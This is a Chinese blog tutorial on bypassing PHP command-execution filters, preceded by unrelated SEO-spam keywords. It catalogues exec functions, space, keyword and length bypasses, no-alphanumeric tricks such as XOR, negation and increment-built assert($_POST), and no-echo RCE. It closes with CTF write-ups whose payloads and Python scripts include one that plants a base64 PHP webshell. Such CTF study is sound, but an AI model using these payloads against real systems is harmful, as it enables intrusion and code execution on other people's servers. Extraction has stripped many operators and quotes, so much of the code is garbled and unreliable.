网站优化 h几 更易被抓,公司注册地址变更需要多久,帮别人做app网站门户的兼职,区总工会加强网站意识形态建设文章目录 常见漏洞执行函数#xff1a;1.系统命令执行函数2.代码执行函数 命令拼接符读取文件命令绕过#xff1a;空格过滤绕过关键字绕过长度过滤绕过无参数命令执行绕过无字母数字绕过利用%0A截断利用回溯绕过利用create_function()代码注入无回显RCE1.反弹shell2.dnslog外… 文章目录 常见漏洞执行函数1.系统命令执行函数2.代码执行函数 命令拼接符读取文件命令绕过空格过滤绕过关键字绕过长度过滤绕过无参数命令执行绕过无字母数字绕过利用%0A截断利用回溯绕过利用create_function()代码注入无回显RCE1.反弹shell2.dnslog外带数据法3.msf反向回连4.利用tee命令将执行结果输出到文件再访问文件5.利用反引号和print 题目练习[CISCN 2019初赛]Love Math[鹏城杯 2022]简单的php[SWPUCTF 2023 秋季新生赛]RCE-PLUS[广东强网杯 2021 团队组]love_Pokemon[FBCTF 2019]rceservice[UUCTF 2022 新生赛]ezrce 常见漏洞执行函数
1.系统命令执行函数
system():将字符串作为OS命令执行返回执行结果
exec():将字符串作为OS命令执行只返回执行结果的最后一行
shell_exec():通过shell环境执行命令将完整的输出以字符串返回
passthru():将字符串作为OS命令执行只调用命令不返回结果但把命令的运行结果原样输出到标准输出设备上
popen():打开进程文件指针
proc_open():与popen类似
pcntl_exec():在当前进程空间执行指定程序
反引号:反引号内的字符会被解析成OS命令2.代码执行函数
eval():将字符串作为PHP代码执行
assert():将字符串作为php代码执行
preg_replace():正则匹配替换字符串
create_function():创建匿名函数
file_put_contents():将数据写入文件 语法file_put_contents(filename, data, mode, context)命令拼接符
command1 ; command2 : 先执行command1后执行comnand2
command1 command2 : 先执行comnand2后执行command1
command1 command2 : 先执行command1后执行comnand2
command1 | command2 : 只执行command2
command1 || command2 : command1执行失败 再执行command2(若command1执行成功就不再执行command2)读取文件命令
cat连接文件并输出内容到标准输出
tac从最后一行开始往前显示
more: 与cat类似但是会一页一页显示只能向后翻页
less与more类似只能向前翻页
nl显示内容的同时显示行号
head查看文件开头几行内容默认为10行
tail查看文件尾几行
od以为指定进制的方式读取文件 例如: od -x ??? 以十六进制的方式查看文件
vi文本编辑器
vim文本编辑器
dddd if输入文件 of输出文件 或直接读取文件dd1.txt
sort对文件排序输出排序内容
uniq去除重复行输出去重内容
rev独立反转每一行内容输出反转后内容
cut输出剪切内容
sed流编辑器可以对文本内容进行搜索、替换、删除等操作
paste把每个文件以列对列的方式合并一个文件就相当于原来的
grep查找文件里符合条件的字符串绕过
空格过滤绕过
重定向字符 %20(即spcae) %09(即tab) $IFS$9 ${IFS} $IFS {}比如:{cat,/f*}关键字绕过
1.利用反斜杠\绕过
cat /flag - ca\t /fl\ag2.利用变量拼接绕过
cat /flag - $bag;cat /fl$b3.利用函数绕过
eval(var_dump(scandir(/);); #读取根目录
eval(var_dump(file_get_contents($_POST[a])););a/flag4.利用单双反引号绕过
catt /flag
ls /
cat /etc/passwd5.cat替换
tac 与cat相反按行反向输出
more 按页显示用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件od -A d -c /flag转人可读字符
xxd 以二进制方式读文件同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串grep flag /flag6.利用正则匹配(通配符)绕过
cat /f???
cat /f*7.利用[]绕过
c[a]tcat
p[h]pphp8.利用linux中的环境变量绕过
echo $PATH
若有/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
即可表示:flag.php
# ${PATH:5:1}表示取路径第五位(从0开始数第0位是/),取一个字母。以此类推拼接成flag.php9.编码绕过 10.利用内联执行绕过
echo apwd #输出a/root
?ip127.0.0.1;cat$IFS$9ls11.双写绕过
8.利用取反~绕过
?php
$a system;
$b cat /flag;
$c urlencode(~$a);
$d urlencode(~$b);
//输出得到取反传参内容
echo ?cmd(~.$c.)(~.$d.);
?
输出结果?cmd(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);9.利用异或^绕过
# 异或构造Python脚本
valid 1234567890!$%^*(){}[];\\,./?-_~
answer input(输入异或构造的字符串:)
tmp1, tmp2 ,
for c in answer:for i in valid:for j in valid:if ord(i) ^ ord(j) ord(c):tmp1 itmp2 jbreakelse:continuebreakprint(f{tmp1}^{tmp2})10.利用自增绕过 原理 “A” “B” “B” “C”
?php
$_;
echo($_); //输出结果1
$a.[];
var_dump($a); //输出结果array?php
$_[].; //得到Array
$___ $_[$__]; //得到A$__没有定义默认为False也即0此时$___A
$__ $___; //$__A
$_ $___; //$_A
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; //得到S此时$__S
$___ . $__; //$___AS
$___ . $__; //$___ASS
$__ $_; //$__A
$__;$__;$__;$__; //得到E此时$__E
$___ . $__; //$___ASSE
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; //得到R此时$__R
$___ . $__; //$___ASSER
$__;$__; //得到T此时$__T
$___ . $__; //$___ASSERT
$__ $_; //$__A
$____ _; //$_____
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; //得到P此时$__P
$____ . $__; //$_____P
$__ $_; //$__A
$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; //得到O此时$__O
$____ . $__; //$_____PO
$__;$__;$__;$__; //得到S此时$__S
$____ . $__; //$_____POS
$__; //得到T此时$__T
$____ . $__; //$_____POST
$_ $$____; //$_$_POST
$___($_[_]); //ASSERT($POST[_])//自增payloadassert($_POST[_]),命令传入_
$_[];$_$_;$_$_[!];$___$_;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$___.$__;$__$_;$__;$__;$__;$__;$___.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$_____;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$_$$____;$___($_[_]);_phpinfo();长度过滤绕过
b类似于touch b 即直接创建文件b,通过将命令执行结果写入文件(覆盖文件原本内容)
echo 666 a #创建文件a将字符串666写入文件a中 用来追加内容
777 a #在文件a的末尾追加字符串777ls -t按时间顺序由近及远排序(后创建的排在前面)
#ag
#fl\\
#t\\
#ca\\
#ls -t x
创建文件x将catflag连接起来 前面的\把后面的\实体化成字符用来拼接文件名输出到文件x中然后把文件x当成脚本执行import time
import requests
baseurlurl
s requests.session()
list[7777,ca, #中间的内容自己补充ls -ta
]
for i in list:time.sleep(1)url baseurlstr(i)s.get(url)
s.get(baseurlsh a)以这题为例,可以利用自增但限制长度
payload:$_[]._;$__$_[1];$_$_[0];$_;$_1$_;$_;$_;$_;$_;$_$_1.$_.$__;$__.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
即表示$_GET[1]($_GET[2])
记得url编码然后get传参?hint11system2cat /f*无参数命令执行绕过
在无法传参的情况下仅依靠传入没有参数的函数套娃以达到命令执行的效果
特征:
if(;preg_replace(/[^\W]\((?R)?\)/,,$_GET[star]))
{eval($_GET[star]);
}
\W表示匹配非字符
[^\abc]表示非abc
R代表当前正则匹配后的结果
?惰性匹配匹配0或1次
相关函数
scandir():返回当前目录的所有文件和目录的列表。结果是一个数组
localeconv():返回一包含本地数字及货币格式信息的数组(这里数组的第一项是. 这个点很有用)
current():返回数组中的单元默认取第一个值。pos()和它一样
getcwd():获取当前工作目录
dirname():返回路径中的目录部分
chdir():改变当前目录
array_flip():交换数组中的键和值成功时返回交换后的数组
array_rand():从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():反转给定字符串
eval()、assert():命令执行
highlight_file()、show_source()、readfile()、file_get_content():读取文件内容
getallheaders():返回当前请求的所有请求头消息但局限于Apache
数组移动操作
reset():指向第一个元素并输出
end():将内部指针指向数组中最后一个元素并输出
next():指向下一个元素并输出
prev():指向上一个元素并输出
each():返回当前元素的键名和键值并将指针向前移动例:scandir(‘.’)能返回当前目录虽然无法传参但可以利用localeconv()返回. 并且用current()取第一个值实现,即用current(localeconv())构造一个点.
?参数var_dump(scandir(current(localeconv())));1.利用scanidr()函数 例题:[GXYCTF2019]禁止套娃
?php
include flag.php;
echo flag在哪里呢br;
if(isset($_GET[exp])){if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) {if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) {if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) {// echo $_GET[exp];eval($_GET[exp]);}else{die(还差一点哦);}}else{die(再好好想想);}}else{die(还想读flag臭弟弟);}
}
// highlight_file(__FILE__);
?第二个if语句典型的无参RCE,第三个又限制了一些函数 payload:
?exphighligth_file(next(array_reverse(scandir(current(localeconv())))));先利用current将localeconv中的.取出来然后用scandir返回当前目录中的文件和子目录得到当前flag在flag.php 此时flag.php位置较靠后用array_reverse将数组反转然后用next选择第二个即flag.php然后读 取flag.php文件
2.利用session_id()函数 当请求头中有cookie时或者有时没有cookie手动添加cookie也行。但要session_start开启 ·可以对命令进行十六进制编码然后用hex2bin()解码 payload:
?参数eval(hex2bin(session_id(session_start())));
同时更改cookie后面的值为对应命令的十六进制编码·指定文件名为flag.php的情况下直接读取文件Cookie是手动添加的
3.利用getallheaders()函数 getallheaders()返回当前请求的所有请求头消息但局限于Apache(apache_request_headers与getallheaders()功能和限制一样) 当能够确定返回时在数据包最后一行加上一个请求头写入恶意代码再用end()函数指向最后一个请求头使其执行。 其中sky是自己添加的请求头end()指向最后一行的sky代码
4.利用get_defined_vars()函数
get_defined_vars()可以回显全局变量且更有普遍性,返回数组顺序为 G E T − − _GET-- GET−−_POST– C O O K I E − − _COOKIE-- COOKIE−−_FILES 首先确认是否有回显
print_r(get_defined_vars());如果原本只有一个参数a可以多加一个参数b后面写入恶意语句
aeval(end(current(get_defined_vars())));bsystem(ls /);无字母数字绕过
标志
?php
if(!preg_match(/[a-z0-9]/is,$_GET[shell])) {eval($_GET[shell]);
}1.异或绕过 2.取反绕过 3.自增绕过 4.临时文件上传 Linux临时文件主要存储在/tmp/目录下格式 /tmp/php[6个随机字符] Windows临时文件主要存储在C://Windows/目录下格式C://Windows/php[4个随机字符].tmp
5. G E T / GET/ GET/POST参数绕过 PHP需将所有参数转换成有效的变量名因此在解析查询字符串时会首先删除空白符然后将某些字符转换成下划线
pyload1:?cinclude%0a$_POST[a]?post:adata://text/plain,?php eval(system(tac flag.php))?pyload2cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php
pyload3: cinclude$_GET[1]?1data://text/plain,?php system(nl flag.php)?
pyload4:c??include$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php 6.LD_PRELOAD绕过 7.短标签绕过 PHP中有两种短标签 ?? 和 ?? 。其中??相当于?php ??相当于? echo
例如 ? 11? 输出8.反引号绕过 PHP中 反引号可以起到命令执行的效果
?php
$_whoami;
echo $_; 能够将对应的结果输出
利用段标签可以写为? whoami ?利用%0A截断
由于preg_match只能匹配第一行可以使用%0A进行截断
利用回溯绕过
php正则匹配的回溯次数大于1000000次时会返回False preg_match的匹配存在回溯次数上限是1000000超过上限后函数返回False
$a hello worldh*1000000
preg_match(/hello.*world/is,$a) False利用create_function()代码注入
create_function函数会在内部执行eval()
create_function($函数变量声明,$执行的方法代码)看到 a ( a( a(b)想到create_fuction()代码注入。这里\为了绕过正则}为了闭合前面 // 为了注释后面
payload:?a\create_functionb}system(tac /flag);//无回显RCE
可以先利用sleep函数判断是否能执行
?参数1sleep(3)1.反弹shell
2.dnslog外带数据法
3.msf反向回连
4.利用tee命令将执行结果输出到文件再访问文件
//无回显RCE如exce()函数可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt使用重定向也可以
ls / 1.txt5.利用反引号和print
//eval()无输出
eval(printc\at /flag;)题目练习
[CISCN 2019初赛]Love Math
?php
error_reporting(0);
//听说你很喜欢数学不知道你是否爱它胜过爱flag
if(!isset($_GET[c])){show_source(__FILE__);
}else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;);
}思路一 拼凑出_GET利用其他参数RCE 知识点: php中可以把函数名通过字符串的方式传递给一个变量然后通过此变量动态调用函数。例如:
$asystem;
$a(cat /flag);
//会执行system(cat /flag);这里使用传参
?c($_GET[a])($_GET[b])asystembcat /flag但是这里的_GET和a,b不在白名单里需要替换
?c($_GET[pi])($_GET[abs])pisystemabscat /flag这里的_GET无法直接替换且[]被过滤
这里就考虑利用白名单中的函数了 base_convert(): 能够在任意进制之间转换数字
dechex():将十进制转换成16进制的数
hex2bin():把十六进制转换成ascii码
这里的_GET对应的ascii码是5f 47 45 54 但是hex2bin()也不是白名单中的函数且这段ascii码也不能之间填入会被检测。可以利用base_convert()函数来进行转换这里的hex2bin可以看成36进制用base_convert()将10进制数字转换成16进制数字
hex2binbase_convert(37907361743,10,36)
然后里面的5f 47 45 54需要利用dechex()将10进制转换成16进制数
5f47 45 54dechex(1598506324)payload:
/?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})pisystemabscat /flag
分析
//base_convert(37907361743,10,36)hex2bin
//dechex(1598506324) 5f474554
//$pihex2bin(5f474554) $pi_GET
//($$pi){pi}(($$pi){abs}) ($_GET){pi}($_GET){abs}
//{}可代替[][鹏城杯 2022]简单的php
考点是无参数RCE和无字母RCE
?php
show_source(__FILE__);$code $_GET[code];if(strlen($code) 80 or preg_match(/[A-Za-z0-9]|\|||\ |,|\.|-|\||\/|\\|||\$|\?|\^||\|/is,$code)){die( Hello);}else if(; preg_replace(/[^\s\(\)]?\((?R)?\)/, , $code)){eval($code);}
? 没有过滤~ ,尝试取反绕过先试一下查看phpinfo() 必须要使用[!%FF]进行拼接
/?code[~%8f%97%8f%96%91%99%90][!%FF]();这里使用[]是因为[]会进行执行然后将执行结果返回内存存储为数组
这里使用请求头执行
system(current(getallheaders()));[~%8C%86%8C%8B%9A%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
然后在头部进行命令执行
a:ls /[SWPUCTF 2023 秋季新生赛]RCE-PLUS
考点:无回显RCE
?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match(/\;|\|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i, $cmd)){return($cmd);}else{die(i hate this); }
}
$cmd$_GET[cmd];
strCheck($cmd);
shell_exec($cmd);
??cmdls /发现无回显
接着利用sleep函数判断发现能够执行
?cmdls / | sleep 5
判断是无回显RCE利用tee命令将输入写入到其他文件中
ls / | tee 1.txt
flag被过滤使用\
cat /fa\ag |tee 2.txt
访问2.txt获取flag[广东强网杯 2021 团队组]love_Pokemon
?php
error_reporting(0);
highlight_file(__FILE__);
$dir sandbox/ . md5($_SERVER[REMOTE_ADDR]) . /;if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match(/| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\|\\^|\|\~|\||\|\|\|\|{|}|\!|\|\*|\?|\(|\)/i,$Pokemon)){die(catch broken Pokemon! mew-_-two);}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key $pks) {$Pokemon[$key] DefenderBonus($pks);}}else{$Pokemon DefenderBonus($Pokemon);}
}switch($_POST[myfavorite] ?? ){case picacu!:echo md5(picacu!).md5($_SERVER[REMOTE_ADDR]);break;case bulbasaur!:echo md5(miaowa!).md5($_SERVER[REMOTE_ADDR]);$level $_POST[levelup] ?? ;if ((!preg_match(/lv100/i,$level)) (preg_match(/lv100/i,escapeshellarg($level)))){echo file_get_contents(./hint.php);}break;case squirtle:echo md5(jienijieni!).md5($_SERVER[REMOTE_ADDR]);break;case mewtwo:$dream $_POST[dream] ?? ;if(strlen($dream)20){die(So Big Pokenmon!);}ghostpokemon($dream);echo shell_exec($dream);
}
?前面就是传参规则从switch语句开始看要求以post方式传入myfavorite。
其中if语句中有hint.php要进行if判断得先选择case ‘bulbasaur!’接下来要满足if判断传入levelup变量不能包含lv100但是经过escapeshellarg()之后等于lv100。
**escapeshellarg()**的作用是把字符串转码变成可以在shell命令中使用的参数。
escapeshellarg()漏洞该函数在处理超过ASCII码范围的字符的时候会直接过滤该字符串。
那么可以使用%81绕过(该字符为不可见字符)获得提示的payload:myfavoritebulbasaur!levelupl%81v100提示内容
?php $hint flag is located in / , and NAME IS FLAG;
即路径是 /FLAG接下来要输出/FLAG 看到case ‘mewtwo’中有shell_exec()函数可以利用。要求传入dream参数字符串长度小于20且满足上面的传参规则
由于过滤单个字母和一些运算符号不能用常规的绕过方法。 想办法cat /FLAG 1.空格可以使用 $IFS等绕过
2.这里使用od命令读取(octal dump八进制转储)
od是一个linux和unix中的命令行工具。
用于以不同格式显示文件内容最初是为了以八进制形式显示文件内容3.绕过FLAG由于过滤了flag和l和a。这里使用通配符[]绕过
[a-z]表示范围a-z 这里构造F[B-Z][-Z]G这样就能匹配ascii表中-Z之间的所有字符
最终payload:
myfavoritemewtwodreamod%09/F[B-Z][-Z]G得到八进制内容
0000000 051516 041523 043124 033573 030544 033065 033142 026466 0000020 034544 030144 032055 032145 026543 031071 063063 033055 0000040 061466 032061 033144 034063 062461 076545 000012 0000055 #八进制转ascii码
dump 0000000 051516 041523 043124 060573 030462 062464 032062 026471 0000020 031071 030067 032055 063065 026466 062070 030542 030455 0000040 030465 060545 062143 031064 032143 076541 000012 0000055 octs [(0o n) for n in dump.split( ) if n]hexs [int(n, 8) for n in octs]result for n in hexs:if (len(hex(n)) 4):swapped hex(((n 8) | (n 8)) 0xFFFF)result swapped[2:].zfill(4)print(bytes.fromhex(result).decode())[FBCTF 2019]rceservice
附件内容
?php
putenv(PATH/home/rceservice/jail);if (isset($_REQUEST[cmd])) {$json $_REQUEST[cmd];if (!is_string($json)) {echo Hacking attempt detectedbr/br/;} elseif (preg_match(/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-\[-|~\x7F]).*$/, $json)) {echo Hacking attempt detectedbr/br/;} else {echo Attempting to run command:br/;$cmd json_decode($json, true)[cmd];if ($cmd ! NULL) {system($cmd);} else {echo Invalid input;}echo br/br/;}
}web页面要求输入json格式的字符串
putenv(PATH/home/rceservice/jail);
这个意思是将当前的环境变量PATH值设置为:/home/rceservice/jail由于环境变量值被修改无法直接调用cat等命令因为这些命令存是放在特定的目录中封装好的程序所以此处部分命令我们需要使用其存放的绝对路径去调用
在正则匹配中使用^ xxxxx $的格式也采用了.这样的与贪婪匹配。因此有两个方案绕过正则——超过回溯次数和利用*%0A截断**
利用%0A截断 由于表达式中存在\x00-\x1F 这会多匹配一个%0a只需要在payload前后加几个%0a即可
?cmd%0a%0a{cmd:ls /}%0a%0a
发现没找到flag,接下来使用find命令查找
?cmd%0a%0a{cmd:/usr/bin/find / -name flag*}%0a%0a
得到flag存放位置 /home/rceservice/flag 接下来cat即可
?cmd%0a%0a{cmd:/bin/cat /home/rceservice/flag}%0a%0a 超过回溯次数上限
import requests as resurlhttp://node4.anna.nssctf.cn:28817/
while(True):payloadinput(resp:)respres.get(url,params{cmd:\x0a\x0a{cmd:%s}\x0a\x0a%(payload)})print(resp.text)
然后在终端res处输入 /bin/cat /home/rceservice/flag[UUCTF 2022 新生赛]ezrce 进入后是一个命令执行接口执行ls /会提示存储在/tmp/中直接访问会显示被隐藏。
法一
nl //创建一个名位nl的文件
* /*d //即 nl /*d 第一个*就是将ls列出文件名第一个当作命令 其他当作参数法二
a 在Linux会创建一个叫a的文件
*v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v0 等价于 rev v 0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间后创建先列出ls -t就可以 这里加上h是为了按照 sl ht- f\排列
linux下换行执行命令
ech\
o\111urlhttp://43.142.108.3:28933/post.php
print([]start attack!!!)
with open(5字符RCE.txt, r) as f:for i in f:data {cmd: f{i.strip()}}requests.post(urlurl,datadata)resp requests.get(http://43.142.108.3:28933/tmp/1.php)
if resp.status_code requests.codes.ok:print([*]Attack success!!!)5字符RCE.txt
dir
sl
ht-
f\
*v
rev
*v0
hp
1.p\\
d\\\
\ -\\
e64\\
bas\\
7\|\\
XSk\\
Fsx\\
dFV\\
kX0\\
bCg\\
XZh\\
AgZ\\
waH\\
PD9\\
o\ \\
ech\\
sh 0
sh f